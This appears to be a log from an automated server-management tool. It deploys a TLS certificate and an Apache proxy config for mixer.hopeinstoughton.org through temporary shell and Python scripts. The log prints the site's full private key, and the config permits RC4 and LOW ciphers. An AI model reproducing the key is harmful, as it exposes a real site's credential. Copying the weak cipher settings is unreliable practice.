AdZ5AgQCBIH1BIHyAPAAdgDtPEvW6AbCpKIAV9vLJOI4Ad9RL+3EhsVwDyDdtz4/
4AAAAZj5kL6eAAAEAwBHMEUCIQCg3t/UnXFhHKZX/bxSz1VDqhj5YJ+CSG20Ao9I
5MaZXwIgEuqYtkuKXbPNIR4Ox3EY9w7QZyhU9sqaWeVTYDt4i20AdgDM+w9qhXEJ
Zf6Vm1PO6bJ8IumFXA2XjbapflTA/kwNsAAAAZj5kL6qAAAEAwBHMEUCIQDb7Ba+
fKIPGI+MoJPrgIMlGMj5WlqeIfY41NhDubWW/AIgENGc1IijeQXwKi9fXjQ53TtP
j/bVEd9CY9zZuRMSPoIwDQYJKoZIhvcNAQELBQADggEBAM0vnEJ75vnh/qqe0ffK
wXinaVACNVpF2sgUBpTH8lj4qtYuU98znJR68P3UiH95hNyQ606oVCF/dEaGNwEW
7ib278et1oxoBEUNk+/RC7DDJMmAVk+OBa9dr7W2KN/4t9RcTzjTZExcF3mc7ckI
IRiz7D7NQbcWwwDew9kGLuLAKi/zzwp31YwmvT+DIgi/rRnoiMkEsva05ENd4xYW
5ML8LJ7c2m+a38Cu6d9k7RBS6yVHEk+jYKlfUNsfohnmW1jRRVxwIi6kl4k8qqF4
ndbUsZe4KkfO9agqfpuJU7PhG5mD1Qn9LcGVabgzpAmSX7V4G8bgyeA1XmFFYeRw
E+o=
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvgIBADANBgkqhkiG9w0BAQEFAASCBKgwggSkAgEAAoIBAQDR2ZHRDIIzdeG2
+XbwjH2k7wesaNbOEdMKDHT1ZXaWEgpyqCAqus4/CBTBhKh0N66doGSeAF7MsmuQ
Y4o9OQwNtP+hyYI0A+GIQ/3z/HeFaaMJMrKRpSa5YkjhdMuulBMYfyPRPHaqfk0l
5uc3pGMgF98aLLpRmhRsWDcNDdGyfeYxAC/cHrMVMsoQuwNgRuUYUvE6P9aG2jHb
bjRCkqn05pYkfqMW7u/w9Wz7Knn+5pzs9po4O4cRU2KpCwhxrYGMDfmtIUQcN/3d
BW8iRzEh/Pv/WNJvKq4Dcm6JRoWWPJC3Bp8f8yMwUrINpgzBpJIsHn0mDFX7rSdj
/g7C9+OVAgMBAAECggEBAI0kJ8YSArR38dNuYEgURiGbv25/qRI6vNXCYRv4HVV8
VtidKd1zfWq5lbQ+9EoOdXyBN4tptlk5G82mlYDuEKRbe6Amd1Ni1Nsg1/q1cPIj
hcuW9LGvAaeoalpxgtktsNZGFSIS58FuZ5c5gYRUJXOdeqoRMVPXLStd/dDi3YqN
mBnbHV4uRc/5ZvC8vrjNnfLl3ZOyZ53509VjRv2XfuZdEjjPcDhl2ESrE5K3YuzF
WyWfg0oRb8M5joOPqvFu1pDLQ9QZbX7YXsDmnEwjtaEwZ4jE1omFpGrV2sTMc/nF
UNYPlBlAUMhb/A/MyqOqHYIRpK+a2HlbeyjILhzyurUCgYEA/jzl2ODiq5VGRGqG
K+fNj68liJyEvuz0Oef8ozcSlxEfTeFKukvvHmGPrq2MjcuNQOgpxDvzIeQqueXa
UPFG+DjQu9krfzh8YzAbiZpAMx6W+DBwD/kEW3WJ965+IU7f8wubKDoIKtji0jg/
r28r2yb9lu7//kn9omgwH/PpdScCgYEA003pqecc2nKQmPEZZzcToTL1Dx8F7djV
mPyzVlLPlbvE3OOyO89ZUubTSyvltWXPng8QfazaCwZMGwAT5s+aJmLqU4733jiv
Am9pybsoo01z9f2W/BKFvoYFAYFRn9v1EOA3Ng43J/AfzObM/aX7kAgQ/MnQGSeu
mU2soznYLuMCgYAEltbTTmPpEv28uGuJmVqVkGTODX078Q0Liot96r2UKoP1JO7z
Y/GCC+LLFWjnGliHZmlymF5wKy02Q9boBSLx0hy6d1YYqs1cAP9OQZGNGq1A96be
MvGIMRv3c5flRAY43enEFSAWnemiP8+ufAQ/pXmIYvIOBgnlB5puyTlamwKBgF7n
gIpB9jCbAhzfNNSp5RQiqfRXr7cLC6yB2x5rZTbQNfQsBHJeh7T3XXFGzw4xIxXP
mE2J5AjNlEMQPuAM4CRbivlqniNd/CSw26eyeucVs36JnlWrEAzpbrglV/7fsOsa
eVG7AsTaUb4a73kBIsKnDNIs5l1V+FJ8k4xgP5uXAoGBAMp+VK8nMm0wOZkihWSZ
aim6mTRyRR6hkUvspfeHsVsiiukdxuUK0IQic3RaaIMFXBGWq4utVEanmK9n4LS5
qZSLH0+mlNC62Nb5XDpXba/KNeH350qquwXuMO0ai+tLY/pLGqCw/eTvS2wLDoSu
GPMxjnHn58IAuv27weH74v2B
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBjCCAu6gAwIBAgIRAMISMktwqbSRcdxA9+KFJjwwDQYJKoZIhvcNAQELBQAw
TzELMAkGA1UEBhMCVVMxKTAnBgNVBAoTIEludGVybmV0IFNlY3VyaXR5IFJlc2Vh
cmNoIEdyb3VwMRUwEwYDVQQDEwxJU1JHIFJvb3QgWDEwHhcNMjQwMzEzMDAwMDAw
WhcNMjcwMzEyMjM1OTU5WjAzMQswCQYDVQQGEwJVUzEWMBQGA1UEChMNTGV0J3Mg
RW5jcnlwdDEMMAoGA1UEAxMDUjEyMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIB
CgKCAQEA2pgodK2+lP474B7i5Ut1qywSf+2nAzJ+Npfs6DGPpRONC5kuHs0BUT1M
5ShuCVUxqqUiXXL0LQfCTUA83wEjuXg39RplMjTmhnGdBO+ECFu9AhqZ66YBAJpz
kG2Pogeg0JfT2kVhgTU9FPnEwF9q3AuWGrCf4yrqvSrWmMebcas7dA8827JgvlpL
Thjp2ypzXIlhZZ7+7Tymy05v5J75AEaz/xlNKmOzjmbGGIVwx1Blbzt05UiDDwhY
XS0jnV6j/ujbAKHS9OMZTfLuevYnnuXNnC2i8n+cF63vEzc50bTILEHWhsDp7CH4
WRt/uTp8n1wBnWIEwii9Cq08yhDsGwIDAQABo4H4MIH1MA4GA1UdDwEB/wQEAwIB
hjAdBgNVHSUEFjAUBggrBgEFBQcDAgYIKwYBBQUHAwEwEgYDVR0TAQH/BAgwBgEB
/wIBADAdBgNVHQ4EFgQUALUp8i2ObzHom0yteD763OkM0dIwHwYDVR0jBBgwFoAU
ebRZ5nu25eQBc4AIiMgaWPbpm24wMgYIKwYBBQUHAQEEJjAkMCIGCCsGAQUFBzAC
hhZodHRwOi8veDEuaS5sZW5jci5vcmcvMBMGA1UdIAQMMAowCAYGZ4EMAQIBMCcG
A1UdHwQgMB4wHKAaoBiGFmh0dHA6Ly94MS5jLmxlbmNyLm9yZy8wDQYJKoZIhvcN
AQELBQADggIBAI910AnPanZIZTKS3rVEyIV29BWEjAK/duuz8eL5boSoVpHhkkv3
4eoAeEiPdZLj5EZ7G2ArIK+gzhTlRQ1q4FKGpPPaFBSpqV/xbUb5UlAXQOnkHn3m
FVj+qYv87/WeY+Bm4sN3Ox8BhyaU7UAQ3LeZ7N1X01xxQe4wIAAE3JVLUCiHmZL+
qoCUtgYIFPgcg350QMUIWgxPXNGEncT921ne7nluI02V8pLUmClqXOsCwULw+PVO
ZCB7qOMxxMBoCUeL2Ll4oMpOSr5pJCpLN3tRA2s6P1KLs9TSrVhOk+7LX28NMUlI
usQ/nxLJID0RhAeFtPjyOCOscQBA53+NRjSCak7P4A5jX7ppmkcJECL+S0i3kXVU
y5Me5BbrU8973jZNv/ax6+ZK6TM8jWmimL6of6OrX7ZU6E2WqazzsFrLG3o2kySb
zlhSgJ81Cl4tv3SbYiYXnJExKQvzf83DYotox3f0fwv7xln1A2ZLplCb0O+l/AK0
YE0DS2FPxSAHi0iwMfW2nNHJrXcY3LLHD77gRgje4Eveubi2xxa+Nmk/hmhLdIET
iVDFanoCrMVIpQ59XWHkzdFmoHXHBV7oibVjGSO7ULSQ7MJ1Nz51phuDJSgAIU7A
0zrLnOrAj/dfrlEWRhCvAgbuwLZX1A2sjNjXoPOHbsPiy+lO1KF8/XY7
-----END CERTIFICATE-----


endmsg

chmod 640 $temp_file
if [ -d "/etc/pki/tls/certs" ]; then
	cp $temp_file /etc/pki/tls/certs/$TARGET
	echo dir=/etc/pki/tls/certs/
elif [ -d "/etc/ssl/certs" ]; then
	cp $temp_file /etc/ssl/certs/$TARGET
	echo dir=/etc/ssl/certs
else
	echo dir=
fi

rm $temp_file


2025-08-30 06:01:12: 

chmod 755 /tmp/pkp689255; /tmp/pkp689255; rm /tmp/pkp689255

2025-08-30 06:01:12: 


dir=/etc/ssl/certs


2025-08-30 06:01:12: 

PUT: /tmp/pkp601518

#!/bin/bash
# download changed files, then zip.
APACHE_ROOT=/etc/apache2
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
cd $APACHE_ROOT
temp_file=$(mktemp)

show_file() {
	echo $BOUNDARY >> $temp_file
	if [ -f "$1" ]; then
		FILESIZE=$(stat -c%s "$1")
		echo $1	$FILESIZE >> $temp_file
		cat $1 >> $temp_file
	else
		echo $1	0 >> $temp_file
	fi
	echo >> $temp_file
}

show_file "/etc/apache2/sites-enabled/hopeinstoughton_mixer_org.conf"

gzip -cn9 $temp_file
rm $temp_file

2025-08-30 06:01:12: 

chmod 755 /tmp/pkp601518; /tmp/pkp601518; rm /tmp/pkp601518

2025-08-30 06:01:13: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/hopeinstoughton_mixer_org.conf 49
<VirtualHost *:80>
    ServerName	mixer.hopeinstoughton.org
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/hopeinstoughton_mixer
    <Directory /var/www/hopeinstoughton_mixer>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/hopeinstoughton/mixer_access.log combined
    ErrorLog	/var/log/apache2/hopeinstoughton/mixer_error.log
    SetEnv pkp_uid	28
    SetEnv pkp_owner	stoughton
    DirectoryIndex	index.html index.htm index.py
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	mixer.hopeinstoughton.org
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/490fd86317cc9a7ba4710967bbbfc2a7
    DocumentRoot	/var/www/hopeinstoughton_mixer
    <Directory /var/www/hopeinstoughton_mixer>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/hopeinstoughton/mixer_secure_access.log combined
    ErrorLog	/var/log/apache2/hopeinstoughton/mixer_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
    DirectoryIndex	index.html index.htm index.py
    
    RewriteCond	%{DOCUMENT_ROOT}%{REQUEST_URI} !-d
    RewriteCond	%{DOCUMENT_ROOT}%{REQUEST_URI} -f
    RewriteRule	^(.*) %{REQUEST_URI} [L]
    
    # if the cookie is missing, redirect to login site, with bounce parameter
    RewriteCond	%{HTTP_COOKIE} !\bauth=\b
    RewriteRule	^(.*)$ https://cygnus.hopeinstoughton.org/~/cygnus/login-mixer$1 [R=302,QSA,L]
    
    ProxyRequests	off
    ProxyVia	on
    
    RewriteEngine	On
    RewriteCond	%{HTTP:Connection} Upgrade [NC]
    RewriteCond	%{HTTP:Upgrade} websocket [NC]
    RewriteRule	/(.*) ws://192.168.1.8:80/$1 [P,L]
    
    ProxyPass	/ http://192.168.1.8/
    ProxyPassReverse	/ http://192.168.1.8/
    
</VirtualHost>






2025-08-30 06:01:13: 

PUT: /tmp/pkp445500

#!/bin/bash
temp_file=$(mktemp)
BASE=/etc/apache2
BASENAME=hopeinstoughton_mixer_org.conf
TARGET=/etc/apache2/sites-enabled/hopeinstoughton_mixer_org.conf
DOCROOT=-
PUBLIC=

cat > $temp_file <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
<VirtualHost *:80>
    ServerName	mixer.hopeinstoughton.org
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/hopeinstoughton_mixer
    <Directory /var/www/hopeinstoughton_mixer>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/hopeinstoughton/mixer_access.log combined
    ErrorLog	/var/log/apache2/hopeinstoughton/mixer_error.log
    SetEnv pkp_uid	28
    SetEnv pkp_owner	stoughton
    DirectoryIndex	index.html index.htm index.py
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	mixer.hopeinstoughton.org
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/490fd86317cc9a7ba4710967bbbfc2a7
    DocumentRoot	/var/www/hopeinstoughton_mixer
    <Directory /var/www/hopeinstoughton_mixer>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/hopeinstoughton/mixer_secure_access.log combined
    ErrorLog	/var/log/apache2/hopeinstoughton/mixer_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
    DirectoryIndex	index.html index.htm index.py
    
    RewriteCond	%{DOCUMENT_ROOT}%{REQUEST_URI} !-d
    RewriteCond	%{DOCUMENT_ROOT}%{REQUEST_URI} -f
    RewriteRule	^(.*) %{REQUEST_URI} [L]
    
    # if the cookie is missing, redirect to login site, with bounce parameter
    RewriteCond	%{HTTP_COOKIE} !\bauth=\b
    RewriteRule	^(.*)$ https://cygnus.hopeinstoughton.org/~/cygnus/login-mixer$1 [R=302,QSA,L]
    
    ProxyRequests	off
    ProxyVia	on
    
    RewriteEngine	On
    RewriteCond	%{HTTP:Connection} Upgrade [NC]
    RewriteCond	%{HTTP:Upgrade} websocket [NC]
    RewriteRule	/(.*) ws://192.168.1.8:80/$1 [P,L]
    
    ProxyPass	/ http://192.168.1.8/
    ProxyPassReverse	/ http://192.168.1.8/
    
</VirtualHost>



----boundary-6506b6c63ab0478b95fb419cca0e56fb----

chmod 644 $temp_file

cd $BASE
cp -f $temp_file $TARGET
rm $temp_file
if [ $DOCROOT != "-" ]; then
	mkdir -p 
	mkdir -p $DOCROOT/$PUBLIC
	chown -R : $DOCROOT
	ln -s "..//etc/apache2/sites-enabled/hopeinstoughton_mixer_org.conf" "$BASE/sites-enabled/$BASENAME" > /dev/null 2>&1
	echo 'link(/etc/apache2/sites-enabled/hopeinstoughton_mixer_org.conf)= /etc/apache2//etc/apache2/sites-enabled/hopeinstoughton_mixer_org.conf'
	echo 'file(/etc/apache2//etc/apache2/sites-enabled/hopeinstoughton_mixer_org.conf= 1'
fi


2025-08-30 06:01:13: 

chmod 755 /tmp/pkp445500; /tmp/pkp445500; rm /tmp/pkp445500

2025-08-30 06:01:13: 




2025-08-30 06:01:13: 

PUT: /tmp/pkp338069

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl graceful
fi 
if [ -f "/usr/local/opt/httpd/bin/httpd" ]; then
	export HOMEBREW_NO_INSTALL_FROM_API=1
	brew services restart httpd

fi
echo .

2025-08-30 06:01:14: 

chmod 755 /tmp/pkp338069; /tmp/pkp338069; rm /tmp/pkp338069

2025-08-30 06:01:14: 


.


2025-08-30 06:01:14: Establishing a connection
2025-08-30 06:01:15: 

PUT: /tmp/pkp746671

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl -S
fi
echo .

2025-08-30 06:01:16: 

chmod 755 /tmp/pkp746671; /tmp/pkp746671; rm /tmp/pkp746671

2025-08-30 06:01:16: 


VirtualHost configuration:
*:80                   is a NameVirtualHost
         default server cdn3.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_cdn3_org.conf:2)
         port 80 namevhost cdn3.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_cdn3_org.conf:2)
         port 80 namevhost cygnus.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_cygnus_org.conf:1)
         port 80 namevhost hymns.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_hymns_org.conf:1)
         port 80 namevhost mixer.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_mixer_org.conf:1)
         port 80 namevhost stoughton.hostz.org (/etc/apache2/sites-enabled/hostz_stoughton_us.conf:3)
*:443                  is a NameVirtualHost
         default server cdn3.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_cdn3_org.conf:20)
         port 443 namevhost cdn3.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_cdn3_org.conf:20)
         port 443 namevhost cygnus.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_cygnus_org.conf:37)
         port 443 namevhost hymns.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_hymns_org.conf:22)
         port 443 namevhost mixer.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_mixer_org.conf:22)
         port 443 namevhost stoughton.hostz.org (/etc/apache2/sites-enabled/hostz_stoughton_us.conf:28)
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex watchdog-callback: using_defaults
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
Mutex ssl-stapling: using_defaults
Mutex proxy: using_defaults
Mutex ssl-cache: using_defaults
Mutex default: dir="/var/run/apache2/" mechanism=default 
Mutex mpm-accept: using_defaults
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_VHOSTS
Define: DUMP_RUN_CFG
User: name="www-data" id=33
Group: name="www-data" id=33
.


2025-08-30 06:01:16: 

PUT: /tmp/pkp481307

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/apache2/sites-enabled/hopeinstoughton_mixer_org.conf')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2025-08-30 06:01:17: 

chmod 755 /tmp/pkp481307; /tmp/pkp481307; rm /tmp/pkp481307

2025-08-30 06:01:17: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/hopeinstoughton_mixer_org.conf	2161
<VirtualHost *:80>
    ServerName	mixer.hopeinstoughton.org
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/hopeinstoughton_mixer
    <Directory /var/www/hopeinstoughton_mixer>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/hopeinstoughton/mixer_access.log combined
    ErrorLog	/var/log/apache2/hopeinstoughton/mixer_error.log
    SetEnv pkp_uid	28
    SetEnv pkp_owner	stoughton
    DirectoryIndex	index.html index.htm index.py
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	mixer.hopeinstoughton.org
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/490fd86317cc9a7ba4710967bbbfc2a7
    DocumentRoot	/var/www/hopeinstoughton_mixer
    <Directory /var/www/hopeinstoughton_mixer>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/hopeinstoughton/mixer_secure_access.log combined
    ErrorLog	/var/log/apache2/hopeinstoughton/mixer_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
    DirectoryIndex	index.html index.htm index.py
    
    RewriteCond	%{DOCUMENT_ROOT}%{REQUEST_URI} !-d
    RewriteCond	%{DOCUMENT_ROOT}%{REQUEST_URI} -f
    RewriteRule	^(.*) %{REQUEST_URI} [L]
    
    # if the cookie is missing, redirect to login site, with bounce parameter
    RewriteCond	%{HTTP_COOKIE} !\bauth=\b
    RewriteRule	^(.*)$ https://cygnus.hopeinstoughton.org/~/cygnus/login-mixer$1 [R=302,QSA,L]
    
    ProxyRequests	off
    ProxyVia	on
    
    RewriteEngine	On
    RewriteCond	%{HTTP:Connection} Upgrade [NC]
    RewriteCond	%{HTTP:Upgrade} websocket [NC]
    RewriteRule	/(.*) ws://192.168.1.8:80/$1 [P,L]
    
    ProxyPass	/ http://192.168.1.8/
    ProxyPassReverse	/ http://192.168.1.8/
    
</VirtualHost>







2025-08-30 06:01:17: 

PUT: /tmp/pkp943061

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/ssl/certs/490fd86317cc9a7ba4710967bbbfc2a7')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2025-08-30 06:01:18: 

chmod 755 /tmp/pkp943061; /tmp/pkp943061; rm /tmp/pkp943061

2025-08-30 06:01:18: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/ssl/certs/490fd86317cc9a7ba4710967bbbfc2a7	5374
43:b5:94:ac:57:b5:7b:ab:e2:79:8a:40:e9:45:cc:ba

-----BEGIN CERTIFICATE-----
MIIFDjCCA/agAwIBAgISBgUyjzAQeP1QQJ/BTK+so8UnMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTIwHhcNMjUwODMwMDUwMjM5WhcNMjUxMTI4MDUwMjM4WjAkMSIwIAYDVQQD
ExltaXhlci5ob3BlaW5zdG91Z2h0b24ub3JnMIIBIjANBgkqhkiG9w0BAQEFAAOC
AQ8AMIIBCgKCAQEA0dmR0QyCM3Xhtvl28Ix9pO8HrGjWzhHTCgx09WV2lhIKcqgg
KrrOPwgUwYSodDeunaBkngBezLJrkGOKPTkMDbT/ocmCNAPhiEP98/x3hWmjCTKy
kaUmuWJI4XTLrpQTGH8j0Tx2qn5NJebnN6RjIBffGiy6UZoUbFg3DQ3Rsn3mMQAv
3B6zFTLKELsDYEblGFLxOj/Whtox2240QpKp9OaWJH6jFu7v8PVs+yp5/uac7Paa
ODuHEVNiqQsIca2BjA35rSFEHDf93QVvIkcxIfz7/1jSbyquA3JuiUaFljyQtwaf
H/MjMFKyDaYMwaSSLB59JgxV+60nY/4OwvfjlQIDAQABo4ICKTCCAiUwDgYDVR0P
AQH/BAQDAgWgMB0GA1UdJQQWMBQGCCsGAQUFBwMBBggrBgEFBQcDAjAMBgNVHRMB
Af8EAjAAMB0GA1UdDgQWBBSzbDH+UUkBiJITRW/mVgekYnrsgjAfBgNVHSMEGDAW
gBQAtSnyLY5vMeibTK14Pvrc6QzR0jAzBggrBgEFBQcBAQQnMCUwIwYIKwYBBQUH
MAKGF2h0dHA6Ly9yMTIuaS5sZW5jci5vcmcvMCQGA1UdEQQdMBuCGW1peGVyLmhv
cGVpbnN0b3VnaHRvbi5vcmcwEwYDVR0gBAwwCjAIBgZngQwBAgEwLgYDVR0fBCcw
JTAjoCGgH4YdaHR0cDovL3IxMi5jLmxlbmNyLm9yZy80MC5jcmwwggEEBgorBgEE
AdZ5AgQCBIH1BIHyAPAAdgDtPEvW6AbCpKIAV9vLJOI4Ad9RL+3EhsVwDyDdtz4/
4AAAAZj5kL6eAAAEAwBHMEUCIQCg3t/UnXFhHKZX/bxSz1VDqhj5YJ+CSG20Ao9I
5MaZXwIgEuqYtkuKXbPNIR4Ox3EY9w7QZyhU9sqaWeVTYDt4i20AdgDM+w9qhXEJ
Zf6Vm1PO6bJ8IumFXA2XjbapflTA/kwNsAAAAZj5kL6qAAAEAwBHMEUCIQDb7Ba+
fKIPGI+MoJPrgIMlGMj5WlqeIfY41NhDubWW/AIgENGc1IijeQXwKi9fXjQ53TtP
j/bVEd9CY9zZuRMSPoIwDQYJKoZIhvcNAQELBQADggEBAM0vnEJ75vnh/qqe0ffK
wXinaVACNVpF2sgUBpTH8lj4qtYuU98znJR68P3UiH95hNyQ606oVCF/dEaGNwEW
7ib278et1oxoBEUNk+/RC7DDJMmAVk+OBa9dr7W2KN/4t9RcTzjTZExcF3mc7ckI
IRiz7D7NQbcWwwDew9kGLuLAKi/zzwp31YwmvT+DIgi/rRnoiMkEsva05ENd4xYW
5ML8LJ7c2m+a38Cu6d9k7RBS6yVHEk+jYKlfUNsfohnmW1jRRVxwIi6kl4k8qqF4
ndbUsZe4KkfO9agqfpuJU7PhG5mD1Qn9LcGVabgzpAmSX7V4G8bgyeA1XmFFYeRw
E+o=
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvgIBADANBgkqhkiG9w0BAQEFAASCBKgwggSkAgEAAoIBAQDR2ZHRDIIzdeG2
+XbwjH2k7wesaNbOEdMKDHT1ZXaWEgpyqCAqus4/CBTBhKh0N66doGSeAF7MsmuQ
Y4o9OQwNtP+hyYI0A+GIQ/3z/HeFaaMJMrKRpSa5YkjhdMuulBMYfyPRPHaqfk0l
5uc3pGMgF98aLLpRmhRsWDcNDdGyfeYxAC/cHrMVMsoQuwNgRuUYUvE6P9aG2jHb
bjRCkqn05pYkfqMW7u/w9Wz7Knn+5pzs9po4O4cRU2KpCwhxrYGMDfmtIUQcN/3d
BW8iRzEh/Pv/WNJvKq4Dcm6JRoWWPJC3Bp8f8yMwUrINpgzBpJIsHn0mDFX7rSdj
/g7C9+OVAgMBAAECggEBAI0kJ8YSArR38dNuYEgURiGbv25/qRI6vNXCYRv4HVV8
VtidKd1zfWq5lbQ+9EoOdXyBN4tptlk5G82mlYDuEKRbe6Amd1Ni1Nsg1/q1cPIj
hcuW9LGvAaeoalpxgtktsNZGFSIS58FuZ5c5gYRUJXOdeqoRMVPXLStd/dDi3YqN
mBnbHV4uRc/5ZvC8vrjNnfLl3ZOyZ53509VjRv2XfuZdEjjPcDhl2ESrE5K3YuzF
WyWfg0oRb8M5joOPqvFu1pDLQ9QZbX7YXsDmnEwjtaEwZ4jE1omFpGrV2sTMc/nF
UNYPlBlAUMhb/A/MyqOqHYIRpK+a2HlbeyjILhzyurUCgYEA/jzl2ODiq5VGRGqG
K+fNj68liJyEvuz0Oef8ozcSlxEfTeFKukvvHmGPrq2MjcuNQOgpxDvzIeQqueXa
UPFG+DjQu9krfzh8YzAbiZpAMx6W+DBwD/kEW3WJ965+IU7f8wubKDoIKtji0jg/
r28r2yb9lu7//kn9omgwH/PpdScCgYEA003pqecc2nKQmPEZZzcToTL1Dx8F7djV
mPyzVlLPlbvE3OOyO89ZUubTSyvltWXPng8QfazaCwZMGwAT5s+aJmLqU4733jiv
Am9pybsoo01z9f2W/BKFvoYFAYFRn9v1EOA3Ng43J/AfzObM/aX7kAgQ/MnQGSeu
mU2soznYLuMCgYAEltbTTmPpEv28uGuJmVqVkGTODX078Q0Liot96r2UKoP1JO7z
Y/GCC+LLFWjnGliHZmlymF5wKy02Q9boBSLx0hy6d1YYqs1cAP9OQZGNGq1A96be
MvGIMRv3c5flRAY43enEFSAWnemiP8+ufAQ/pXmIYvIOBgnlB5puyTlamwKBgF7n
gIpB9jCbAhzfNNSp5RQiqfRXr7cLC6yB2x5rZTbQNfQsBHJeh7T3XXFGzw4xIxXP
mE2J5AjNlEMQPuAM4CRbivlqniNd/CSw26eyeucVs36JnlWrEAzpbrglV/7fsOsa
eVG7AsTaUb4a73kBIsKnDNIs5l1V+FJ8k4xgP5uXAoGBAMp+VK8nMm0wOZkihWSZ
aim6mTRyRR6hkUvspfeHsVsiiukdxuUK0IQic3RaaIMFXBGWq4utVEanmK9n4LS5
